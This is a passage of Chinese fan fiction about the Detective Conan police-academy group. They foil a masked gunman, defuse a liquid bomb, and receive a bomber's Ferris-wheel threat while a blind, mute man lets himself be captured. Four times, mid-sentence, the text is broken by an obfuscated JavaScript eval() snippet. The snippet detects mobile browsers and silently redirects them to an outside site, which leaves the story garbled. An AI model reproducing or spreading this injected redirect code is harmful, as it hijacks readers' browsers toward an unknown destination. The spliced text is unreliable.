尽管他才转到搜查一课没多久,但在搜一那些千奇百怪的案件和五花八门的犯案理由的持续“熏陶”下,他已经对此类事件产生了一定的免疫力,甚至有点麻木。 降谷零迅速打电话给另外三位同伴,言简意赅地说明了情况,让他们先去呼叫支援。在他们到来之前,他与松田决定先行进入大楼探查情况。 这栋大楼显然已废弃多时,空气中弥漫着灰尘和霉变混合的气味。地上积了厚厚一层灰,使得上面杂乱的脚印显得格外清晰刺眼。 楼道里光线昏暗,墙壁斑驳,还贴着几张残破的纸张,楼梯扶手也带着陈旧的锈迹,透着一股破败冷清的气息。 降谷零打头阵,放轻脚步,借助每一层房门狭窄的缝隙,谨慎地观察着屋内的动静。 凑近一扇虚掩的房门时,他终于捕捉到了屋内微弱的异响——通风系统正在运作,发出低沉的嗡鸣,天花板上半脱落的封条在气流作用下嘎吱摇摆。 这里还在通电。降谷零心下一沉,敏锐地察觉到情况有些不寻常。 啊,有人。 他眼神一凛,凑近缝隙仔细探查,果然发现了意外情况——一个身材高大的男人,双手被粗糙的绳索牢牢捆绑在锈蚀的排水管上,头颅低垂,看上去已经昏迷了一段时间。 “他好像昏过去了。”降谷零低声说了一句,率先小心翼翼地推开门进去。 松田阵平随后双手插兜跟上,锐利的目光迅速扫过整个昏暗的空间,最后落在那个被绑着的男人身上:“而且还是个外国人。” 降谷零蹲下身,轻轻拍了拍男人的肩膀,试图唤醒他:“你没事吧?” 男人被降谷零拍醒,意识似乎还未完全回笼,模糊的视野茫然地聚焦。然而,当他的目光越过蹲在他面前温和的金发青年,瞥见其身后那个穿着笔挺黑西装、戴着墨镜、浑身散发着生人勿近冷硬气场的卷发男人时,他猛地一个激灵,混沌的大脑瞬间被恐惧攫获,彻底清醒了过来。 松田阵平:“??” “请你冷静,”松田阵平对此似乎习以为常,熟练地从怀中掏出警察证,动作流畅地展示在对方眼前,“我们是警察。” 他见对方瞳孔震颤,似乎没听懂,又放慢语速,清晰重复:“警察,机——影——警,吃——啊——察,能明白吗?” 不知道是不是听懂了“警察”这个词汇,那个男人非但没有放松,反而更加焦急,他用极其虚弱的语气,挤出一句带着浓重口音的话语: “……快跑。”*俄语 “是俄语,他让我们快跑。”降谷零立刻翻译,同时目光扫视地面,迅速从旁边捡起一块边缘尖锐的玻璃碎片,用手帕草草包裹住便于抓握的一端,开始割断男人手腕上的绳索。 “要跑也是他先跑。”松田阵平收起警察证,语气没什么波澜,随即又从内袋里翻出自己的名片,递给那个惊魂未定的男人,“告诉他,要是有警察拦他,就亮出这张名片。” 降谷零用俄语将这段话清晰地重复了一遍。男人双手甫一获得自由,便颤抖着接过那张薄薄的名片,仿佛抓住了救命稻草。然而,就在他刚勉强站起身,还没来得及道谢或逃跑时—— “砰!” 不远处另一扇紧闭的房门后,传来一声沉闷的重物落地声。 “看来这里还有别的‘客人’。”松田瞬间看向声音传来的方向,墨镜后的眼神骤然变得锐利而凝重,身体也微微紧绷,进入了戒备状态。 “我……我先逃了!”*俄语 那个外国男人脸上惊慌之色骤现,仿佛知道门后那位“客人”的可怕,竟是一刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16503694|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不敢多留,手脚并用地从地上爬起来,踉跄着冲向出口。 在目送男人的身影顺利消失在楼梯间,并听到急促下楼的脚步声后,松田才稍稍收回视线。 就在这时,耳边传来一声轻微却无比熟悉的金属撞击声—— 咔嚓。 那是子弹上膛的声音。 松田有些愕然地转头,看着降谷零手中那把泛着冷冽银光的H&K·P7M8式手枪,忍不住吐槽了一句,语气复杂: “不愧是公安,装备就是齐全。” * 砰! “不许动!”降谷零一个利落的侧踹猛地将房门蹬开,双手稳稳持枪瞄准室内。 昏暗的房间深处,一个可疑的身影静立在两大罐散发着诡异荧光的液体前。闻声,那人缓缓转过身来,兜帽下那张鸟嘴面具在荧光的映照下,显得无比阴森诡谲。 “不太妙啊……”松田阵平的身体谨慎地掩在门框外,微微侧头用视线快速扫过室内情况,声音压得很低。 “怎么了。” “他身后那个是炸/弹。万一打偏了,说不定会爆炸。”卷毛警官的神色凝重,“看这个大小,恐怕在这栋楼里的人都得遭殃。而且……” 而且,他总觉得这种炸/弹的构造,似乎在哪里见过,一种模糊的不安感萦绕心头。 “你能搞定吗。” “难道你认为我搞不定吗金发混蛋。”松田嗤笑一声,语气里是毋庸置疑的自信。 降谷零几不可闻地哼笑一声,眼底闪过对同期能力的全然信任。“那就拜托你了。” 他们的对话不过短短几秒,降谷零话音未落,就看见鸟嘴面具手腕一抖,一支手枪从他袖口滑出握在手中,抬手就朝降谷零来了一枪! “啧!”降谷零反应迅速,立刻缩身退出门外,同时一把拉住松田的胳膊,带着他就地卧倒!子弹擦着门框射入他们刚才站立的位置,在墙壁和地板上溅起刺目的火花。 竟然这么嚣张……! “站住!”降谷零迅速起身,再次持枪冲进房间! 然而此刻的房间内,除了那两罐兀自散发着不祥光芒的液体炸/弹,哪里还有鸟嘴面具的踪影? “我去追那家伙,松田你快处理炸/弹!” “好,那边就拜托你了。” 降谷零毫不犹豫沿着对方可能逃离的路径追去,发现这条通道直通大楼外侧的消防楼梯。下面没有动静……那就是上面! 恰巧这个时候上方又传来手枪被消音器压制的闷响声,降谷零心头一紧,立刻向上追去,却差点与一道从上方猛踹下来的破损门板迎头相撞! 我勒个……!他连忙往旁边一扑,沉重的门板呼啸着从他身侧掠过,径直飞出楼梯范围,在空中划出一道弧线,最终对楼下停放的一辆无辜轿车完成了精准的暴击。 降谷零无暇他顾,迅速起身追上一层,举枪、警惕地扫视——楼层内空无一人,只有通往内部楼梯间的门口洞开着。 怎么又跑下去了……糟糕,他的目标是松田! 67.首次交锋(下) 房间内,叼着小型手电的松田阵平正全神贯注,小心地剪断一根红色电线。 听到门口再次传来子弹上膛的清脆声响,他才不紧不慢地取下手电握在手中。 “混账……我正在高高兴兴地拆弹呢,”凫青色的眼眸锐利如刀,狠狠刺向去而复返的鸟嘴面具,“别来碍我的事!” 砰! 可惜这一发子弹并没有打到鸟嘴面具想要的地方去。鸟嘴面具持枪的手腕在半途被一只强有力的手死死钳住,在扣下扳机的那一刻被猛地带偏了方向。 “没听到吗,这位……先生?”钳住他的半长发男人嘴角勾着看似随意的弧度,那双紫罗兰色的下垂眼里却散发着幽冷的光芒。 萩原研二话音未落,一记精准的上勾拳已重重击中对方腹部。鸟嘴面具吃痛,身体瞬间弓起,萩原顺势揪住他的衣领,腰部发力,就是一个标准的过肩摔。 “不要妨碍人家拆弹啊……!” 不对,重量不对。 太轻了……! 对方仿佛早已预判到萩原的动作,竟顺着过肩摔的方向提前蹬地卸力,落地瞬间毫不停滞,紧接着一个迅猛的低扫腿直攻萩原下盘!萩原重心不稳,踉跄着后退了两步! 这个时间已经足够他再次抬起手枪! 砰! 然而这一次的攻击依旧未能如愿。伊达航在千钧一发之际赶到,魁梧的身躯扛着一扇不知从何处找来的残破车门,如同盾牌般挡在萩原身前,刚好拦住了那颗致命的子弹! “班长!”松田和萩原喜出望外,但果不其然还是被班长骂了。 “空着手的家伙就不要吓唬拿枪的了啊!” 吼声未落,伊达航已手持车门如同重装步兵般冲了上去,试图凭借蛮力将对方逼出房间。 却没想到鸟嘴面具身形异常灵活,竟借着他冲来的势头,单手在车门上猛地一按,一个空翻灵巧地越过了伊达航的阻挡,直逼他身后毫无防护的松田。 可惜,后方的支援已然到位。在他再次举枪瞄准松田的瞬间,被及时赶到的诸伏景光一记凌厉的高扫腿狠狠踢中手腕! 手枪脱手飞出,他本人也被这股力道带得踉跄倒地! 五人组,武器+1。 “hiro!” 诸伏景光抬枪稳稳指向地上的身影,余光迅速瞥见同期们似乎都安然无恙,立刻问道:“Zero呢?他没事吧?” “多亏了你,得救了。”降谷零的声音从门口传来,他也已赶回,同样举枪瞄准。 啧……1v5,毫无胜算。鸟嘴面具缓缓后撤半步,猛地转身向房间通往外部楼梯的门口冲去! 砰! 降谷零毫不犹豫地扣动扳机。对方却以一个诡异的侧滑步险险躲开子弹,同时手腕微动,藏在袖中的钩锁“嗖”地发射而出,精准钩住了对面大楼的栏杆!在冲出外挂楼梯的那一刻纵身一跃! 遭了,他要跑!诸伏景光一个箭步猛冲上前伸手欲抓,指尖却与对方的衣角差之毫厘!他自己反而因冲势过猛,上半身险些探出楼梯,幸好伊达航及时从后方一把拉住他的腰带,将他险险拽了回来。 “班长,Hiro,让开!” 降谷零的声音冷静得可怕。他浅色的瞳孔中倒映着那根细长的绳索,属于警校首席的绝对权威与精准在此刻彰显无遗。 休想逃掉。 砰!子弹撕裂绳索!可惜鸟嘴面具反应极快,绳索断裂后依旧够到楼梯的边沿,一个翻身进去,又躲开了两发子弹。 啧。伊达航看着对方抵达对面楼,捶了一下栏杆。 “班长!搭把手!” 降谷零的喊声让他回头,只见对方已然甩下碍事的西服外套,正做着助跑起跳的准备,吓得伊达航亡魂皆冒。 卧/槽玩真的?! 诸伏景光吓得连忙帮忙,就算是接受过夏特勒兹特训的他也没把握安全越过去! 万幸,降谷零的计算与体能都堪称顶尖,助跑、起跳、落地,一系列动作行云流水,安全抵达对面。 “你还真是乱来……!”伊达航看着对面平稳起身的降谷零,这才感觉自己的心跳回到胸腔,咬牙切齿地低吼。 “hiro,班长!楼里可能还潜伏着那家伙的同伙,松田那边就拜托你们了!” 闻言诸伏景光却没有立刻应下,而是思考两秒后沉静出声:“班长,我还是去掩护零吧,那家伙不简单,我怕他一个人应付不了。” “好,那就拜托你了。” * 天台无比安静,看似已经无人访问许久。 ——但也只是表面上。 降谷零的大脑飞速运转,排除所有视线死角,最终锁定唯一可能藏身的位置。他举着手枪谨慎向前移动,在拐角处屏住呼吸,全身肌肉紧绷。 然而,他并未察觉,在他身后,另一个拐角的阴影里,鸟嘴面具同样在等待! 身后传来极其细微的空气流动声,降谷零猛地回身瞄准!但在看清对方抛掷过来的物体那一瞬间,他的瞳孔骤然收缩! 手榴弹?! 来不及细想对方为何会有这种武器,求生的本能和训练出的反应让他瞬间做出抉择——他非但没有后退,反而向前一个箭步扑去,精准地凌空接住那枚危险品,借着冲势猛地拧转腰身,用尽全力将其甩向毫无遮挡的空中! * 咔嚓,松田又剪断一条电线。 “那家伙竟然还在逃吗。” “嘛嘛,那家伙的身手确实不错。”萩原研二在一旁为他打着手电,同时不忘仔细观察这个结构新颖的炸/弹。“啊,小阵平,这里,是个陷阱呢。” “笨蛋,我看出来了。”松田的动作没有丝毫停滞。 太顺利了。他的额角又流下一滴冷汗,手感的流畅让他忍不住放慢动作。这种熟悉感……他之前绝对接触过这种炸/弹! 呼……冷静,心浮气躁乃是大忌。 “说不定还有同伙呢。”伊达航叼着牙签守着两位拆弹专家。 松田回神,手上动作不停:“不可能的。”他立刻否定。 “欸?”伊达航挑眉。 “要是有同伙的话,那家伙还至于亲自跑回来和小阵平对峙吗?”萩原解释道,同时用手固定住几根用来干扰判断的线路,让松田能毫无阻碍地剪断最核心的那一根。 咔嚓。 随着又一根关键线路被剪断,炸/弹显示屏上跳动的倒计时数字剧烈地闪烁了几下,最终不甘地彻底熄灭下去。 “呼——”*2 最致命的威胁暂时解除,两人不约而同地松了口气。 “行了,别放松,继续拆解。”松田用袖子擦了擦额头的汗水,语气没有丝毫松懈,“出门没带全套拆弹工具箱,缺少信号屏/蔽/器,总让我有点不安。” 萩原研二的嘴唇抿成一条线,眼神暗了暗:“……啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16503695|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,回秒炸/弹。” 那个差点就把自己送上天国的回秒炸/弹,果然至今仍是他心中一根刺。这次情况紧急,他们甚至连防爆服都没有条件穿上。为了让小阵平能早点真正安心,还是尽早拆掉这个糟心玩意儿吧。 “班长,有没有口香糖?”萩原扭头朝伊达航wink了一下,试图让气氛轻松些,“嚼口香糖能让我集中精神。” ……他还真有。 伊达航叹了口气,认命从口袋里掏出口香糖递给萩原。“你们一个个的都这样……我早就不是班长了好吗。” “怎么可能,班长永远是我们的班长啊……”萩原一边拆包装一边嘟囔。 轰! 突如其来的爆炸声将三人都吓了一跳。 * 降谷零被暗算,一时间耳鸣目眩,身体暂时无法动弹。鸟嘴面具趁机捡起那一把H&K·P7M8对准金发警察。 砰! 可惜扳机不是他扣下的,中弹的也不是倒在地上的警察。 啪嗒。 银色手枪应声掉落。鸟嘴面具闷哼一声,终于忍不住用左手死死捂住自己瞬间被鲜血浸透的右肩。 肩膀中弹,整条右臂等于彻底废掉。如果此刻再不脱身,就真的走不成了! 他暗自“啧”了一声,强忍剧痛,利用灵活的走位躲开诸伏景光后续射来的子弹,竟是一个翻身,毫不犹豫地从天台边缘翻了下去,消失在众人的视野中。 * “这下算是,搞定了吧?”萩原研二放下手中的钳子,不顾形象地坐在地上长舒一口气。 这个炸/弹已经被他们两个拆得七零八碎,为了防止容器内残留的粉蓝双色液体意外混合产生不可控的反应,萩原甚至灵机一动,将伊达航给的口香糖嚼软后,精准地堵住了所有可能汇聚的管道口。 这个时候,诸伏景光搀扶着降谷零回来集/合。 “抱歉,我们没逮到那个家伙。” 伊达航看到降谷零苍白的脸色和沾染灰尘的衣物,吓了一跳:“嘶,你没事吧Zero?!” “别担心我,情况怎么样?” 瘫坐在地上的萩原扬起一个带着疲惫却又无比自信的笑容:“顺利完成任务。” 听到这句话,降谷零和诸伏景光紧绷的神经才终于松弛了一些。看着地上那一堆已然无害的零件,诸伏景光也松了口气。不过…… “松田?” 他注意到,松田阵平并未像萩原那样放松下来,而是依旧蹲在原地,眉头紧锁,盯着那粉蓝双色的荧光液体陷入了沉思。 半晌,松田才慢悠悠地开口,声音带着一种恍然和深意:“……我就说,怎么总觉得这个炸/弹的构造和配色,透着一股诡异的熟悉感。” 他抬起头,目光扫过在场的四位同期,最后落在狼狈的降谷零身上。 “粉蓝双色的化学液体,一旦两种颜色的液体混合,就会发生剧烈爆炸,并产生难以用水扑灭的、如同地狱之火般的紫色火焰。” “松田,你之前见过这种炸/弹?”降谷零不禁站直身体,敏锐地捕捉到了他话中的关键,语气变得急促。 “啊,见过。不过,也仅仅是在照片上见过。”松田说着,定定地看向降谷零,凫青色的眼眸中闪过极其复杂的情绪。 “……就在几年前,浅井从苏联地区带回来的手信中,专门给我带了一张这种双色液体炸/弹的……照片。” 68.仇人见面 【11月7日,凌晨2点,米花中央医院】 诸伏清浅可不管自己几年前的举动会给警校五人组带来多大的震撼,此时此刻他也只是一个半夜突然发烧后前来医院就诊的虚弱病人。 十一月初的东京,深夜的寒气已然刺骨。凌晨两点,米花中央医院白日里喧嚣的候诊区,此刻只剩下冷白色的灯光,无声地照射着空荡荡的座椅。 空气里弥漫着消毒水的气味,从走廊深处传来一两声压抑的咳嗽,护士站方向响起的键盘敲击声……一切声响都仿佛隔着一层温热的薄纱,模糊地传入他耳中。 诸伏清浅拄着盲杖,行走得缓慢而艰难,每一步都带着虚浮的不确定感。 他穿着一件深灰色的连帽卫衣,帽子拉得很低,遮住了大半张脸,但最引人注目的,是那条缠绕在他双眼之上的蒙眼黑缎。 “咳咳……”咳嗽的同时他的身体随之剧烈颤抖,肺部火烧般的感觉并非完全伪装。 为了今天的计划,他确实用了一些非常规手段,让自己的体温真实地攀升到了38.8摄氏度。灼热感从内部炙烤着他,皮肤却因为夜间的寒气而泛起一阵阵冷战。 ……虽然他发烧的次数不少甚至习以为常,但该受的罪,一分也不会少。 他抬起颤抖的手臂,在电子草稿板上歪歪扭扭地写下需求递给护士,然后在护士的引导下拄着盲杖前往就医。 挂号,问诊,测量体温。当冰凉的体温计贴在他腋下时,水银柱停留在与系统【身体状态】一栏显示的度数相同的位置——38.8℃。 “确实烧得很厉害,”医生的声音带着职业性的平稳,“先去注射一针退烧药,然后去药房取这些口服药。” 打、打针。 诸伏清浅面无表情地僵住,拒绝了护士的陪同,独自完成了这一酷刑。 他按压着针口,借助系统定位观察着四周。十几分钟后,一个醒目的红色定位终于闯入医院地图。 ……来了。 蒙眼黑缎之下,那双雾蓝色的眼睛悄然睁开,无焦距地“凝视”着虚空中的某一点。 他从假寐的状态中起身,血已止住,便顺手将止血胶布撕下,放入口袋。 ……讨厌打针。 他拄着盲杖,缓缓走向洗手间的方向。但在一个转角,确认无人注意的瞬间后,他的脚步方向突然转变,向着系统地图上标注出的人员最稀少、监控覆盖最薄弱的区域走去——那条连接着旧馆与新馆的消防通道。 这里的灯光更加昏暗,空气里消毒水的气味混杂着灰尘的味道。盲杖敲击着地面,发出“嗒嗒”的规律声响,在这片寂静中传得很远。 远处推车滚轮的声音,病房里监测仪的规律滴答声,窗外遥远的警笛呼啸而过……所有声音都如同蒙上水汽,模糊地冲击着他因高热而比平日迟钝的听觉。 时间在寂静中流逝。高烧带来的眩晕感阵阵袭来,被清浅以强大的意志力强行压下。他将身体靠上冰凉的墙壁,汲取那一点冷意,维系着头脑的清醒。 忽然。 一个极其微弱的、不属于医院常规背景音的声音,穿透了那层“薄纱”,被他精准捕捉——金属工具被轻轻放置在水泥地上的细微摩擦声。 来源,就在前方不远处的消防通道门后。 ……呵。 他继续拄着盲杖,以那种“摸索前行”的踉跄姿态,向声源挪去。推开那扇沉重的消防门,门轴发出衰老般的“吱呀”声。 门后的空间,是一个相对宽敞的楼梯转角。一个穿着深蓝色工装服、戴着鸭舌帽的男人,正背对着他,蹲在地上,小心翼翼地打开一个工具箱。那工具箱里,赫然是导线、电路板、雷/管,以及一块块用油脂仔细包裹着的C4炸药。 然而,门轴的声响在死寂中过于突兀。 蹲着的男人身体猛地一僵,迅速合上工具箱,闪电般回过头。 鸭舌帽下,是一张因长期精神紧张而显得消瘦、扭曲的脸。他的眼神里充满了惊疑、警惕,以及一丝不易察觉的疯狂。 然后,他的目光,定格在诸伏清浅的脸上——更准确地说,是定格在了那条蒙眼的黑缎上。 男人的瞳孔骤然收缩。 四年前的记忆,如同被点燃的引信,瞬间涌入脑海——那个在人群中与他不小心相撞的盲哑青年,那个“意外”夺走他□□的“倒霉蛋”,那个破坏了他完美犯罪计划的……碍事者! “是……你?”男人的声音干涩而沙哑,带着一种难以置信的、混合着愤怒与某种病态兴奋的颤抖。 诸伏清浅适当表现出一丝“惊慌”,他后退半步,盲杖在地面上胡乱地点着,似乎是感受到不妙的氛围,想要尽快离开这个“不该来”的地方。 “想跑?”炸/弹犯的脸上,露出一抹狰狞而扭曲的笑容,那是一种猎物自己送上门来的狂喜,“四年了……我以为再也找不到你了……你这个该死的、多管闲事的瞎子!” 他猛地从工装服的口袋里掏出一块白色的手帕,动作迅捷地朝诸伏清浅扑来!手帕上,弥漫开一股刺鼻的、甜腻的化学气味。 以诸伏清浅的能力,有至少十种方法可以在瞬间反制,将对方制服。 但他没有。 他需要被“捕获”。 高浓度七氟烷挥发物,神经麻/醉剂。 对方的手帕即将捂上他口鼻的瞬间,系统的【身体状态】弹出来占据视野,标注出手帕中药物的成分。诸伏清浅象征性地偏了偏头,手臂抬起,做出了一个绵软无力的推拒动作。然后,他顺从地让那刺鼻的气体涌入鼻腔。 与此同时,系统的录音功能开始悄然运作。 * “哼……废物。”炸/弹犯低啐一口,眼神里充满了报复的快意。 他粗暴地拖拽着诸伏清浅的身体,将他扔在冰冷的地面上。诸伏清浅的后背与地面接触,发出一声闷响,但他没有任何反应,如同一个真正的、失去意识的躯壳。 炸/弹犯的动作变得急促而狂躁。他从那个工具箱里,拿出了准备好的绳索,将清浅的双手绕过楼梯扶手死死捆住,双脚的脚踝也牢牢绑在一起。 绳索深深陷入他的腕部皮肤,带来清晰的勒痛感,但他依旧毫无反应。 然后,男人拿出那些C4炸药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510748|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,开始在清浅的胸前捆绑固定。他的手指因为兴奋和紧张而微微颤抖,但动作却异常熟练。 “你知道吗……你知道吗!”他一边缠绕着导线,一边开始神经质地低语,仿佛在向一个无法回应的听众倾诉,又像是在为自己即将到来的“壮举”进行预热。 “这个世界……这个肮脏、丑陋的世界!它夺走了我的一切……夺走了我的同伴……他什么都没做错!只是那些警察……那些自以为是的警察!” 他的声音时而低沉,时而尖利,“他们让他选择……让他选择先救哪一边……哈哈……哈哈哈……他们以为自己是神吗?!” 诸伏清浅静静地听着。对方使用的七氟烷剂量放倒常人绰绰有余,但经受组织训练的身体已对此产生相当抗性,此刻他仍能维持着一线清醒。 “……我要让他们也尝尝这个滋味!”男人的声音充满了恶毒的愉悦,他正在将最后几根彩色的导线连接到一块液晶显示屏上,“杯户摩天轮……对,就是那里!我会给他们一个惊喜……一个二选一的惊喜!” 他俯下身,凑到清浅的耳边,热气喷在诸伏清浅颈侧,带着令人作呕的气息:“而你,我亲爱的‘老朋友’……你就是第二个选项。他们不会发现你,然后…… ‘砰’!你和这里的人们一起,变成绚烂的烟花!或者,你可以祈祷一下有个倒霉的条子会在摩天轮上替你去死哈哈……” 他似乎完成了最后的检查,得意地欣赏着自己的“作品”——一个被紧紧捆绑、昏迷不醒的盲哑青年,胸前却绑缚着足以将整个楼梯间乃至周边区域都夷为平地的致命炸/弹。 就在这时,诸伏清浅的喉结,极其轻微地滚动了一下。 他发出了一个气若游丝、仿佛来自梦呓般的声音: “为……什……么……” 这三个字,如同投入平静油锅的水滴,瞬间引爆了炸/弹犯所有的表现欲和倾诉欲。 “为什么?!”男人猛地拔高音量,但又迅速意识到环境,压低了声音,语气却更加扭曲。 “你问我为什么?因为我恨!我恨这个不公的世界!我恨那些穿着制服的刽子手!我要让他们在众目睽睽之下,做出最痛苦的选择!让他们也体验一下,什么叫做绝望!” 他喋喋不休地开始详细描述他的计划,关于摩天轮炸/弹的启动方式,关于那虚伪的“二选一”倒计时,关于他如何期待看到警察们焦头烂额、痛苦不堪的表情…… 诸伏清浅静静地听着,心情随着系统录音功能上平稳跳动的秒数愈发沉静。 ……呵。 他隐藏在袖口下的指尖,微不可查地动了一下。 【录音暂停。文件已加密保存。】 随后,他脑袋一歪,仿佛最后一丝力气也用尽,彻底“昏死”过去,不再给男人任何回应。 炸/弹犯看着他“彻底”昏迷过去,啐了一口,似乎觉得对一个“死人”说再多也是浪费。他最后检查了一遍炸/弹的保险装置,然后阴冷地笑了笑,迅速收拾好剩下的工具,像幽灵一样溜出楼梯间,消失在医院的阴影里,赶往他的下一个舞台——杯户摩天轮。 69.预告函 四年时间,足以改变许多事。 例如,那个导致萩原研二一度命悬一线的炸/弹犯依旧逍遥法外。爆处班的某位卷毛警官一怒之下(划掉)深思熟虑后直接调职搜查一科,发誓一定要把犯人揪出来暴打一顿。 11月7日,一个让松田阵平极度不爽的日子,据说这几年警视厅在这一天都会准时收到一份传真,内容只有一个数字,一年一个,逐年减少。 他有一种强烈的直觉,发传真的家伙,就是他苦苦追寻的目标。 今年,数字该倒数至零了。 那家伙,必然会有大动作。总不至于是哪个无聊分子,年复一年地专门来戏弄警视厅吧? “松田君?你在干什么?我们该去出外勤了。”佐藤美和子见卷毛青年依旧叼着烟,稳如泰山地坐在座位上翻看报纸,忍不住出声催促。 松田阵平,她自然认识。警视厅公认的交际花萩原研二的幼驯染,连续四年坚持不懈向上递交调职申请,终于在不久前让上司无可奈何,将他塞进了搜查一课。 对此,佐藤并不十分意外。因为在这家伙正式报到的前一天,他那位半长发的帅气幼驯染已提前来打过招呼: “小阵平看起来是有点凶啦……但他其实是个很好说话的人哦~” 看着眼前这位浑身散发着“别惹我”气息的卷毛同僚,佐藤美和子不禁在心里腹诽: 好说话?萩原警官,这绝对是你的滤镜过厚了吧。 若非你时常来帮忙周旋,搜一里那群血气方刚的家伙,怕是早就按捺不住要找松田君的麻烦了。 “不去。”松田头也不抬,回答得干脆利落。 “哈?”佐藤美和子拳头硬了。 “我来了哦小阵平——” 未见其人先闻其声,松田阵平一个没控制住,将报纸捏出折痕。 在众人目光的聚焦下,萩原研二闪亮登场,熟练地勾住松田阵平的脖子,同时朝一旁的佐藤美和子露出招牌笑容:“小佐藤也早上好呀~” “啊……早上好,萩原警官。”佐藤愣了下,“你怎么过来了?” 萩原研二先是对一旁面露无奈的目暮十三投去一个歉意的微笑,随即收敛了神色。 “嗯……因为那份传真,差不多是今天该到了吧?” 目暮十三恍然大悟:“你们在等那个倒计时传真?” 佐藤美和子显然也有所耳闻:“诶?但那个不是一直被当作恶作剧吗?” 萩原研二眼疾手快地按住露出半月眼想要吐槽的幼驯染不让他说话,飞快地wink一下打圆场:“嘛嘛,是恶作剧还是其它什么的等传真过来就能知道了吧?反正时间也不差这会儿。” 来得早不如来得巧。就在这时,办公室角落的传真机运行指示灯倏地亮起,一份墨迹未干的预告函被缓缓吐出。 「我们是一群圆桌骑士, 所有愚蠢又狡猾的警察们注意了。 在今天的正午与14点, 我们将以战友的项上人头, 作为点燃庆祝的火花。 失去圣光指引者背负沉默的号角, 将与荣耀同燃。 有本事的话就尽管来阻止我们。 我们将空下72号的座位, ——恭候您的大驾。」 松田阵平和萩原研二迅速交换了一个眼神。 萩原研二:“很明显的,” 松田阵平:“犯罪预告函嘛。” “走了hagi,去杯户公园。”松田阵平直接将车钥匙抛给幼驯染。 “等等等等,为什么是杯户公园?”佐藤美和子满头疑惑。 “准确来说是杯户公园最新建成的摩天轮。”萩原研二接过钥匙,解释道:“它正好有72个座舱,也符合‘圆桌骑士’的隐喻。” “至于‘战友的项上人头’,能猜出来是我和hagi的老朋友了。”松田阵平瞥了眼时间,声音沉下来,“四年前那场导致一名犯人意外死亡的炸/弹勒索案,正是由我们负责拆弹。” 那起案件,便是萩原研二原本的死劫。当时共有两名犯人,其中一人在警方追捕中意外遭遇车祸身亡; 另一名犯人在准备引爆炸/弹时,与浅井尘发生冲突,计划败露,被迫中止。而在逃亡途中,他恰好目睹了同伙车祸身亡的全过程。 尽管纯属意外,但犯人极可能将同伴之死归咎于警察。积攒了四年的复仇怒火,经过精心编织,终于在此刻亮出了獠牙。 不过…… “竟然……只是迁怒于警察吗?”萩原研二低声自语,眉头紧锁。 “什么?”佐藤没听清他的低语。 松田阵平闻言,立刻重新拿起传真,目光锐利地扫过文字。 “……不对,不止。” “还有这一句……”萩原研二神色凝重地凑近,指尖点在那行诗上,“‘失去圣光指引者背负沉默的号角,将与荣耀同燃’……” 圣光是上帝的恩典、命运的启示。从某种角度来说,能够指引人前行、辨别方向的,就是光明。 号角是骑士在战场上用于传达命令、警示、发起冲锋的通讯工具,是其“声音”的延伸。 失去圣光指引,意味着他在黑暗中迷失;号角的沉默,意味着无法传达声音。 萩原与松田再次对视,均在对方眼中看到了相同的猜测。 “这应该,不算在主动联系的范围吧?”萩原翻出自己的手机,找到那个联系电话。 “碰巧遇上案件而已……公事公办罢了,打。” 佐藤一脸茫然:“欸?” 目暮警官也疑惑道:“怎么了,萩原老弟,松田老弟?是预告函还有别的疑点吗?” “有一个非常在意的点。”松田阵平指着那句被圈出的话,简要解释了他的解读,“这很可能暗示,有一位既失去视觉,又无法言语的人,被卷入了这场爆炸案中。” “青木前辈,你应该还记得四年前那位与炸/弹犯发生冲突的热心市民吧?”萩原研二一边等待着电话接通,一边问道。 当年负责案件后续笔录的青木警官稍一回忆,脸色骤变:“啊!难道是他……!” 电话那头依旧只有冗长的忙音。萩原研二眉头紧锁,毫不气馁地再次按下重拨键。 “什么意思?当年的证人也受到牵连了吗?”目暮警官的脸色也沉了下来。 青木解释道:“当年的那位证人,是一位盲哑人。” “来不及等回复了,萩。我先去杯户摩天轮,佐藤,我们走。”松田阵平一把抓起早已备在身侧的工具箱背好,“萩,你继续联系他。” “明白,我这就去协调爆处班出动。”萩原研二应下,转身大步流星向外走去,临到门口又猛地回头告诫:“小阵平,没穿防爆服绝对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 